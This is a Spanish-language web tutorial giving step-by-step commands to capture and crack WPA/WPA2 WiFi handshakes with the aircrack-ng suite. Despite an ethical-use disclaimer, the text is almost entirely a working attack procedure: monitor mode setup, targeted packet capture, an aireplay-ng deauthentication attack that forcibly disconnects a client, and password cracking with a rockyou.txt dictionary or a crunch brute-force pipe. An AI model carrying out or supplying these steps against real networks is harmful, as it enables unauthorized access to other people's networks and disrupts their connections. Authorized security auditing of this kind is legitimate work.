⚠️ Nota importante: Este tutorial es solo con fines educativos y de seguridad. Úsalo únicamente en redes de tu propiedad o con autorización expresa. El uso no autorizado es ilegal. 📌 Requisitos previos:
- Sistema Linux (Kali Linux, Parrot OS o similar) Descargar
- Tarjeta WiFi compatible con modo monitor Comprar
- Suite aircrack-ng instalada
1️⃣ Identificar los adaptadores de red
iwconfig
Identifica tu interfaz WiFi (ej: wlan0, wlan1). En este ejemplo usaremos wlan1.
2️⃣ Matar procesos que interfieren
sudo airmon-ng check kill
3️⃣ Activar modo monitor
sudo airmon-ng start wlan1
El sistema mostrará algo como wlan1mon. Luego limpia la pantalla:
clear
4️⃣ Escanear redes WiFi
sudo airodump-ng --band abg wlan1mon
Anota el BSSID (MAC del router) y el canal (CH) de la red objetivo. Presiona Ctrl+C para detener.
5️⃣ Enfocar escaneo en la red objetivo
Abre una nueva ventana de terminal y ejecuta (reemplaza valores):
sudo airodump-ng -c 9 --bssid XX:XX:XX:XX:XX:XX -w capture_file wlan1mon
Deja esta ventana corriendo en segundo plano.
6️⃣ Obtener MAC de un cliente (station)
En la ventana anterior, mira la sección STATION y copia una MAC (ej: YY:YY:YY:YY:YY:YY).
7️⃣ Forzar reconexión (desautenticación)
Abre otra terminal y ejecuta: - Los XX:XX.... Es el BSSID del Router y YY:YY.... Es el MAC del cliente.
sudo aireplay-ng --deauth 1 -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY wlan1mon
8️⃣ Verificar captura del handshake
En la ventana de airodump-ng debe aparecer:
WPA handshake: YY:YY:YY:YY:YY:YY
Presiona Ctrl+C para detener.
9️⃣ Detener modo monitor
sudo airmon-ng stop wlan1mon
🔓 Craquear handshake con aircrack-ng
Con diccionario rockyou.txt:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e NOMBRE_RED -b XX:XX:XX:XX:XX:XX capture_file-01.cap
Nota: En algunos casos el diccionario se encuentra comprimido lo descomprimes y listo.
Si requieres realizar una prueba de fuerza bruta sin descargar diccionarios
utiliza este comando:
a) Probar todos los numeros de 8 Digitoscrunch 8 8 0123456789 | aircrack-ng -w - bombre_del_archivo.cap -e SSID
✅ Conclusión: Has aprendido a activar modo monitor, capturar un handshake WPA/WPA2 y crackearlo por diccionario. Usa este conocimiento para proteger tus propias redes.
📡 Tutorial para fines educativos | Auditoría WiFi ética

Comentarios 1
Inicia sesión para dejar un comentario.
Iniciar sesión